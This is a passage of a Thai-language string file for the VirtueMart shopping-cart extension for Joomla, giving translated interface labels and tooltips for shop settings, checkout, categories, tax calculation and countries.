COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="ใช้รหัสสินค้าและรหัสหมวดหมู่" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="หากเปิดใช้, รหัสสินค้า, และรหัสหมวดหมู๋สินค้า จะถูกเพิ่มเข้าไปในที่อยู่ URL มิฉะนั้นแล้ว ที่อยู่ URL จะมีเพียงชื่อของสินค้าและชื่อหมวดหมู่สินค้าเท่านั้น" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="หน้าร้าน" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="ตั้งค่าหน้าร้้าน" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="ร้านค้า" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="ตั้งค่าขั้นสูง" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="ตั้งค่าอีเมล" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="ตั้งค่าภาษา" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="ปิดปรับปรุงร้านค้า?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="ข้อความแสดงสถานะออฟไลน์" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="หากเลือกตัวเลือกนี้, ร้านค้าจะแสดงข้อความแสดงสถานะออฟไลน์" COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="ตั้งค่าร้านค้า" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="แสดงส่วนท้าย" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="แสดงรูปภาพส่วนท้าย ขับเคลื่อนโดย VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="แสดงหมวดย่อยสินค้า" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="หากเลือก, หมวดย่อยสินค้าจะถูกแสดงในมุมมองหน้าหมวดหมู่, และหน้ารายละเอียดสินค้า" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="แสดงสินค้าที่น่าสนใจ" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="หากเลือก หน้าแรกของ VirtueMart จะแสดงรายการสินค้าที่น่าสนใจ" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="แสดงสินค้าล่าสุด" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="หากเลือก, หน้าแรกของ VirtueMart จะแสดงรายการสินค้าล่าสุด" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="แสดงชื่อผู้ผลิต" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="หากเลือก, ชื่อผู้ผลิตจะถูกแสดง" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="แสดงรายการสินค้าที่หมดสต็อคด้วย" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="หากเปิดใช้, รายการสินค้าที่ยังไม่มีสินค้าอยู่ในสต็อคจะถูกแสดงให้เห็นได้ มิฉะนั้นแล้ว สินค้าที่ยังไม่มีอยู่ในสต็อคจะถูกซ่อนไว้" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="แสดงราคา" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="เลือกตัวเลือกนี้เพื่อแสดงราคา หากใช้ระบบการทำงานแบบแคตตาล็อกสินค้า อาจไม่จำเป็นต้องแสดงราคาให้ปรากฏอยู่ในหน้าเว็บได้" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="แสดงสินค้าเมื่อเร็วๆนี้" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="หากเลือก หน้าแรกของ VirtueMart จะแสดงรายการสินค้าเมื่อเร็วๆนี้" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="แสดง 10 อันดับสินค้ายอดนิยม" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="หากเลือก หน้าแรกของ VirtueMart จะแสดงอันดับสินค้ายอดนิยม" COM_VIRTUEMART_ADMIN_CFG_SSL="เปิดใช้งานระบบ SSL สำหรับพื้นที่ส่วนที่ต้องการความปลอดภัยสูง (แนะนำให้ใช้งาน)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="ส่วนนี้จะเป็นส่วนที่บังคับให้ Joomla ใช้คุณสมบัติ SSL กับลิงก์ในส่วนของรถเข็นและส่วนของผู้ใช้งาน กรุณาตรวจสอบให้แน่ใจว่ามีการตั้งค่า Joomla อย่างถูกต้องในส่วนของ ข้อมูลบัญชีผู้ใช้งาน, รายการสั่งซื้อจากบุคคลนิรนาม, และในส่วนของการเข้าสู่ระบบ" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="สถานะคำสั่งซื้อที่ต้องการกำหนดเป็นค่าเริ่มต้นให้ทำการส่งใบกำกับสินค้า" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_EXPLAIN="สถานะเริ่มคำสั่งซื้อเริ่มต้นที่ต้องการให้ส่งใบกำกับสินค้า สามารถเขียนทับได้โดยใช้ข้อมูลจากรูปแบบวิธีการชำระเงิน" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="ระบบ" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="การตั้งค่าเกี่ยวกับระบบ" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="เทมเพลท" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="ความสูงรูปขนาดย่อ" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="กำหนดความสูงการปรับขนาดของรูปภาพที่ย่อขนาด" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="ความกว้างรูปขนาดย่อ" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="กำหนดความกว้างการปรับขนาดของรูปภาพที่ย่อขนาด" COM_VIRTUEMART_ADMIN_CFG_TITLES="หัวข้อและหัวข้อระดับมืออาชีพ" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="ใช้หัวข้อและหัวข้อระดับมืออาชีพ" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="เปิดใช้งานเครื่องมือการอัพเดตฐานข้อมูล เครื่องมือนี้จะดำเนินการสำหรับนักพัฒนาและสามารถหยุดร้านค้าของคุณได้อย่างสมบูรณ์" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PRODUCTS_PER_ROW="จำนวนเริ่มต้นของอันดับสินค้าขายดี 10 อันดับในหนึ่งแถว" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PRODUCTS_PER_ROW_EXPLAIN="เป็นส่วนที่ใช้กำหนดจำนวนอันดับสินค้ายอดนิยมในหนึ่งแถว
            " COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="ตั้งค่าการสมัครลงทะเบียนของผู้ใช้งาน" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="ใช้เป็นแคตตาล็อกสินค้าเท่านั้น" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="หากเลือกค่านี้, คุณจะปิดการใช้งานฟังก์ชั่นการทำงานในส่วนของรถเข็นทั้งหมด" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION="ฟังก์ชั่นสำหรับการเข้ารหัส" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION_TIP="คุณสามารถเลือกฟังก์ชั่นการเข้ารหัส ใช้ในการเข้ารหัสข้อมูลที่สำคัญก่อนที่จะถูกจัดเก็บในฐานข้อมูล มาตรฐานการเข้ารหัสลับขั้นสูง (AES) AES_ENCRYPT ขอแนะนำเพราะมันมีความปลอดภัยมาก เข้ารหัสไม่ได้ให้การเข้ารหัสลับที่แท้จริง" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY="คีย์การเข้ารหัสรักษาความปลอดภัย" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY_TIP="ใช้ในการรักษาปลอดภัยร้านค้าและเรียกคืนข้อมูลที่สำคัญ (เช่นข้อมูลบัตรเครดิต) การเข้ารหัสในฐานข้อมูล" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="เฉพาะผู้ใช้งานที่ลงทะเบียนแล้วเท่านั้นที่สามารถคิดเงินรายการสินค้าได้" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="ตัวเลือกนี้จะแจ้งเฉพาะผู้ใช้ที่ลงทะเบียนชำระเงิน คุณควรจะมี 'การชำระเงินขอลงทะเบียน 'เปิดใช้งาน" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="แสดงข้อมูลเกี่ยวกับข้อตกลงการให้บริการในหน้า รถเข็น/คิดเงิน?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="เจ้าของร้านค้าต้องให้ข้อมูลตามกฏหมายเพื่อแนะนำผู้ซื้อของตนเกี่ยวกับนโยบายการคืนสินค้าและการยกเลิกคำสั่งซื้อซึ่งเป็นข้อมูลที่ใช้กันอย่างแพร่หลายกับประเทศในแถบยุโรป ดังนั้นจึงควรมีข้อมูลในส่วนนี้ไว้" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="แสดงรูปภาพสินค้า" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="แสดงรูปย่อขนาดเล็กของรูปสินค้าที่อยู่ในรถเข็น คุณสมบัตินี้อาจเป็นสาเหตุให้เค้าโครงหน้าเว็บเสียหายได้" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="เมื่อทำการคิดราคาสินค้า, ร้องขอให้มีการลงทะเบียนด้วย" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="ระหว่างขั้นตอนการคิดราคาสินค้า ลูกค้าสามารถสมัครลงทะเบียนได้" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="แสดงสถานะขั้นตอนการคิดเงิน" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="ข้อความที่ใช้แสดงก่อนหน้าลงทะเบียน" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="การตั้งค่า" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="ข้อมูลเกี่ยวกับวิธีการชำระเงิน" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="การตั้งค่าการรักษาความปลอดภัย" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="การตั้งค่า" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="ข้อมูลเกี่ยวกับวิธีการจัดส่งสินค้า" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="แสดงลิงก์สำหรับแนะนำสินค้าให้กับเพื่อน?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="หากเปิดใช้, จะแสดงลิงก์ที่อนุญาตให้ผู้ซื้อสามารถส่งอีเมลแนะนำเกี่ยวกับสินค้าต่างๆไปให้กับเพื่อนของผู้ซื้อได้" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="แสดงลิงก์สำหรับมุมมองหน้าสั่งพิมพ์?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="หากเปิดใช้ จะแสดงลิงก์สำหรับเปิดหน้าเว็บปัจจุบันในหน้าต่างป๊อปอัพ เพื่อแสดงเค้าโครงเนื้อหาสำหรับใช้ในการสั่งพิมพ์" COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="ข้อมูลเกี่ยวกับบัตรเครดิตของร้านค้า?" COM_VIRTUEMART_ADMIN_UPDATES="อัพเดท" COM_VIRTUEMART_ADVANCED_SEARCH="ค้นหาอย่างละเอียด" COM_VIRTUEMART_AD_ACY="สำหรับทางเลือกที่มีความซับซ้อนเพื่อใช้สำหรับส่งอีเมล, กรุณาลองใช้งาน
            %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (ปลอดภัยสูง)" COM_VIRTUEMART_AGREE_TO_TOS="กรุณายอมรับข้อตกลงการให้บริการของเราก่อน" COM_VIRTUEMART_AJAX_CART_WAITING="กรุณารอสักครู่..กำลังอัพเดทข้อมูลสินค้าในรถเข็น..." COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s รายการ" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 รายการ" COM_VIRTUEMART_ALL="ทั้งหมด" COM_VIRTUEMART_APPLY="นำไปใช้" COM_VIRTUEMART_ASEND_MSG="สวัสดีค่ะคุณ %s, มีผู้ใช้รายใหม่ได้สมัครลงทะเบียนที่ %s อีเมลฉบับนี้จะแสดงรายละเอียดการลงทะเบียนของผู้ใช้งานดังกล่าว" COM_VIRTUEMART_ASKQU_CS_MAX="ยาวเกินไป" COM_VIRTUEMART_ASKQU_CS_MIN="ไม่ถึงจำนวนขั้นต่ำ" COM_VIRTUEMART_ASKQU_INV_MAIL="อีเมลทีระบุไม่ถูกต้อง" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="ความยาวตัวอักษรสูงสุดสำหรับคำถาม" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="จำนวนความยาวของตัวอักษรสูงสุดในการถามคำถาม" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="ความยาวตัวอักษรน้อยสุดสำหรับคำถาม" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="จำนวนความยาวของตัวอักษรน้อยสุดในการถามคำถาม" COM_VIRTUEMART_ASK_QUESTION_SHOW="แสดงลิงก์สำหรับสอบถามข้อมูลสินค้า?" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="หากเปิดใช้ จะแสดงลิงก์สำหรับเปิดหน้าต่างป๊อปอัพ เพื่อแสดงแบบฟอร์มสำหรับสอบถามข้อมูลสินค้าให้กับผู้ซื้อ" COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="กำหนดโซน" COM_VIRTUEMART_ATTRIBUTES="คุณลักษณะ" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="ชื่อของคุณลักษณะสินค้า" COM_VIRTUEMART_AVAILABILITY="สถานะสินค้า" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="จะแสดงให้เห็นเมื่อสินค้าที่หมดสต็อคแล้วสามารถสั่งซื้อสินค้าได้" COM_VIRTUEMART_AVAILABLE_IMAGES="รูปภาพที่สามารถใช้งานได้สำหรับ" COM_VIRTUEMART_BACK="ย้อนกลับ" COM_VIRTUEMART_BACK_TO_DETAILS="กลับไปยังหน้ารายละเอียดสินค้า" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="การจัดลำดับหมวดหมู่เริ่มต้น" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="กำหนดว่าต้องการให้ช่องข้อมูลของหมวดหมู่ใดบ้าง ที่ต้องการให้จัดเรียงเป็นค่าเริ่มต้น เพื่อแสดงในหน้าแสดงรายการ" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="การจัดเรียงสินค้าเริ่มต้น" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="กำหนดว่าต้องการให้ช่องข้อมูลของสินค้าใดบ้าง ที่ต้องการให้จัดเรียงเป็นค่าเริ่มต้น เพื่อแสดงในหน้าแสดงรายการ" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="ตั้งค่าการจัดเรียงสินค้า" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="ช่องจัดเรียงข้อมูลที่สามารถใช้งานได้" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="เลือกแสดงช่องข้อมูล จัดเรียงตาม ในหน้ารายการสินค้า. รายการที่อยู่ในช่องแต่ละรายการจะเป็นตัวกำหนดรูปแบบวิธีการแสดงรายการสินค้าในหน้ารายการสินค้า. หากคุณยกเลิกการเลือกทั้งหมดออก, ช่องแบบฟอร์ม จัดเรียงตาม จะไม่ถูกแสดงให้เห็น." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="ช่องค้นหาข้อมูลที่สามารถใช้งานได้" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="เลือกแสดงช่องค้นหาตามข้อมูลในช่องรับข้อมูลในหน้าแสดงรายการสินค้า ข้อมูลที่อยู่ในช่องรับข้อมูลแต่ละรายการจะใช้กำหนดรูปแบบผลการค้นหาสินค้าในหน้าแสดงรายการสินค้า หากคุณยกเลิกการเลือกทั้งหมดออก, แบบฟอร์มค้นหาจะไม่ถูกแสดง" COM_VIRTUEMART_BROWSE_VENDOR_LBL="จาก" COM_VIRTUEMART_BUTTON_LOGIN="เข้าสู่ระบบ" COM_VIRTUEMART_BUTTON_LOGOUT="ออกจากระบบ" COM_VIRTUEMART_BUTTON_SEND_REG="ส่งข้อมูลการลงทะเบียน" COM_VIRTUEMART_CALC="ภาษี & วิธีการคำนวน" COM_VIRTUEMART_CALC_DETAILS="ภาษีและข้อบังคับการคำนวณรายละเอียด" COM_VIRTUEMART_CALC_EPOINT_DATAX="คำนวนราคาหลังคิดภาษี" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="คำนวนราคาหลังภาษีต่อบิลล์" COM_VIRTUEMART_CALC_EPOINT_DBTAX="คำนวนราคาก่อนภาษี" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="คำนวนราคาก่อนภาษีต่อบิลล์" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="แก้ไขปรับปรุงราคาของอัตรากำไร" COM_VIRTUEMART_CALC_EPOINT_TAX="ภาษีต่อสินค้า" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="ภาษีต่อบิลล์" COM_VIRTUEMART_CALC_EPOINT_VATTAX="ภาษีมูลค่าเพิ่มต่อสินค้า" COM_VIRTUEMART_CALC_KIND="ลักษณะการคำนวน" COM_VIRTUEMART_CALC_LOCATION="ประเทศ" COM_VIRTUEMART_CALC_NAME="ชื่อ วิธีการคำนวน" COM_VIRTUEMART_CALC_S="ภาษี & วิธีการคำนวน" COM_VIRTUEMART_SHARED="แชร์" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="ไม่แสดงสำหรับผู้ซื้อ" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="สามารถมองเห็นได้สำหรับผู้ซื้อ" COM_VIRTUEMART_CALC_VALUE_MATHOP="การดำเนินการทางคณิตศาสตร์" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="ไม่แสดงสำหรับผู้จำหน่าย" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="สามารถมองเห็นได้สำหรับผู้ขาย" COM_VIRTUEMART_CALC_VIS_SHOPPER="สามารถมองเห็นชื่อผู้ซื้อได้" COM_VIRTUEMART_CALC_VIS_VENDOR="สามารถมองเห็นชื่อผู้ขายได้" COM_VIRTUEMART_CANCEL="ยกเลิก" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="ไม่สามารถสร้างรูปภาพของหมวดหมู่ได้" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="ไม่สามารถสร้างรูปภาพสำหรับผู้ผลิตได้" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="ไม่สามารถสร้างรูปภาพสินค้าได้" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="ไม่สามารถสร้างรูปภาพสำหรับผู้ขายได้" COM_VIRTUEMART_CART_DATA_NOT_VALID="ข้อมูลในรถเข็นไม่ถูกต้อง" COM_VIRTUEMART_CART_MAIL_FOOTER="ขอขอบคุณที่เลือกซื้อสินค้ากับเราที่ " COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

            ยืนยันการสั่งซื้อ

            คุณซื้อและได้รับการยืนยันการสั่งซื้อใน%1$sร้านค้าออนไลน์

            คุณสามารถตรวจสอบสถานะของสินค้าที่สั่งซื้อโดย บัญชีส่วนตัวของคุณ

            " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="รหัสผ่านคำสั่งซื้อของคุณ:" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="ยังไม่ได้เลือกวิธีการชำระเงิน" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="เลือกที่ไม่จัดส่ง" COM_VIRTUEMART_CART_PRICE="ราคา " COM_VIRTUEMART_CART_PRICE_FREE="ฟรี" COM_VIRTUEMART_CART_TOTAL="รวมทั้งหมด" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="แสดงรถเข็น" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="รถเข็นสินค้า VirtueMart" COM_VIRTUEMART_CAST_VOTE="กรุณาเลือกคะแนนโหวต" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="ค้นหาในหมวดหมู่ที่เกี่ยวข้อง" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="เพื่อกำหนดหมวดหมู่ต้นทาง" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="เค้าโครงหน้าหมวดหมู่ VirtueMart" COM_VIRTUEMART_CATEGORY="หมวดหมู่ ผลิตภัณฑ์" COM_VIRTUEMART_CATEGORY_DESCRIPTION="คำอธิบาย หมวดหมู่" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="เลือกหมวดหมู่" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="เลือกหมวดหมู่" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="หน้าแสดงรายการหมวดหมู่สินค้า" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="เทมเพลทเริ่มต้นสำหรับหน้าหมวดหมู่สินค้า" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="หน้ารายละเอียดสินค้าเริ่มต้น" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="ลบรูปภาพ" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="เริ่มต้นแสดงระเบียนแบบฟอร์มหมวดหมู่" COM_VIRTUEMART_CATEGORY_FORM_LBL="แบบฟอร์มหน้าหมวดหมู่สินค้า" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_MAX="จำกัดแบบฟอร์มหมวดหมู่รายการที่มากสุด" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_START="จำกัดแบบฟอร์มหมวดหมู่รายการเริ่มต้น" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="จำกัดแบบฟอร์มหมวดหมู่ทีละรายการ" COM_VIRTUEMART_CATEGORY_FORM_PARENT="หมวดหมู่ต้นทาง" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="ค่าเริ่มต้นหมายเลขของผลิตภัณฑ์ต่อแถว" COM_VIRTUEMART_CATEGORY_FORM_SHARED="หมวดหมู่สามารถถูกแชร์ข้อมูลได้หรือไม่?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="เทมเพลตหน้าหมวดหมู่" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="หมวดหมู่ระดับสูงสุด" COM_VIRTUEMART_CATEGORY_ID="หมวดหมู่" COM_VIRTUEMART_CATEGORY_IMAGE="รูปภาพหมวดหมู่" COM_VIRTUEMART_CATEGORY_NAME="ชื่อหมวดหมู่" COM_VIRTUEMART_CATEGORY_ORDERING="การเรียงลำดับหมวดหมู่" COM_VIRTUEMART_CATEGORY_S="หมวดหมู่สินค้า" COM_VIRTUEMART_CATEGORY_SHARE="หมวดหมู่ที่ถูกแชร์" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="กำหนดหมวดหมู่ที่ต้องการแชร์" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="ใช้ค่าเริ่มต้นของร้านค้า" COM_VIRTUEMART_CATEGORY_UNSHARE="หมวดหมู่ที่ไม่สามารถแชร์ได้" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="หมวดหมู่ที่ไม่สามารถแชร์ได้" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="แสดงหมวดหมู่ Virtue Mart เดียว" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="เค้าโครงหน้าหมวดหมู่" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="เปิดให้มีการใช้งานปลั๊กอินเนื้อหาในส่วนของคำอธิบายเกี่ยวกับสินค้าได้?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="หากเปิดใช้งาน, คำอธิบาย สินค้าและหมวดหมู่ จะแยกโดยปลั๊กอินการเผยแพร่เนื้อหาทั้งหมด" COM_VIRTUEMART_CFG_CURRENCY_MODULE="เลือกโมดูลสำหรับแปลงค่าสกุลเงิน" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="ส่วนนี้เป็นส่วนที่อนุญาตให้คุณสามารถเลือกโมดูลสำหรับแปลงค่าสกุลเงินได้ โมดูลดังกล่าวจะดึงข้อมูลอัตราแลกเปลี่ยนจากเซิร์ฟเวอร์เข้ามาแล้วแปลงสกุลเงินหนึ่งไปเป็นอีกสกุลเงินหนึ่ง" COM_VIRTUEMART_CFG_ENABLE_FEATURE="เปิดใช้งานคุณสมบัตินี้" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="ส่งข้อความแจ้งเตือนเมื่อมีสินค้าในสต็อคเหลือน้อย" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="ส่งข้อความแจ้งเตือนเกี่ยวกับสินค้าเหลือน้อย หากมีสินค้าในสต็อคสินค้าและถูกระบุเอาไว้ว่ามีจำนวนต่ำกว่าค่าที่กำหนดไว้ในส่วนแก้ไขข้อมูลสินค้า" COM_VIRTUEMART_CFG_POOS_ENABLE="การกระทำเมื่อสินค้าหมดสต็อค" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="คุณสามารถกำหนดที่นี่ ซึ่งการดำเนินการควรจะเกิดขึ้น เมื่อสินค้าไม่มีในสต็อก" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="แสดง / เปลี่ยนรหัสการทำรายการ" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="ตัวแปรสำหรับเด็กทั่วไป" COM_VIRTUEMART_CLONE="ลอกแบบ" COM_VIRTUEMART_CLOSE="ปิด" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="ค่าเริ่มต้นรายการใหม่ไปสถานที่สุดท้าย การสั่งซื้อสามารถเปลี่ยนแปลงได้หลังจากรายการนี้ถูกบันทึกไว้" COM_VIRTUEMART_CMN_OPTIONAL="เพิ่มเติม" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="คุณลักษณะของคอลัมน์, แถว" COM_VIRTUEMART_COMMENT="ความคิดเห็น" COM_VIRTUEMART_COMMENT_MIN_MAX="ข้อความของคุณจะต้องมีจำนวนระหว่าง %s ถึง %s ตัวอักษร" COM_VIRTUEMART_COMMUNITY_FORUM="ฟอรัม" COM_VIRTUEMART_CONFIG="การตั้งค่า" COM_VIRTUEMART_CONFIGURATION="การตั้งค่า" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="ไม่สามารถเขีียนข้อมูลเข้าไปยังไฟล์กำหนดค่าหรือ configuration file %s ได้!" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="รายละเอียดการกำหนดค่าได้รับการอัพเดทข้อมูลแล้ว!" COM_VIRTUEMART_CONFIGURATION_MOD="การตั้งค่า" COM_VIRTUEMART_CONFIG_SAVED="บันทึกการตั้งค่า" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="ยังไม่ได้กำหนดสกุลเงินสำหรับร้านค้า! กรุณาไปที่ %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="สกุลเงินไม่ได้ฟอร์แมต ไปยัง %s" COM_VIRTUEMART_CONTROL_PANEL="แผงควบคุม" COM_VIRTUEMART_COOKIE_MISSING="คุกกี้ที่ขาดหายไป" COM_VIRTUEMART_COUNTRY="ประเทศ" COM_VIRTUEMART_COUNTRY_2_CODE="โค้ดประเทศ 2 หลัก" COM_VIRTUEMART_COUNTRY_3_CODE="โค้ดประเทศ 3 หลัก" COM_VIRTUEMART_COUNTRY_DETAILS="รายละเอียดประเทศ" COM_VIRTUEMART_COUNTRY_NAME="ชื่อประเทศ" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="ชื่ออ้างอิงของประเทศ" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="ชื่ออ้างอิงประเทศจะถูกใช้เมื่อไม่มีรหัสประเทศอยู่ในไฟล์ภาษา ดังนั้นรหัสภาษาจะถูกนำมาใช้งานแทน รหัสภาษาของประเทศจะอยู่ในไฟล์ 'com_virtuemart_countries.ini' รหัสต้องมีคำนำหน้าชื่อเป็น 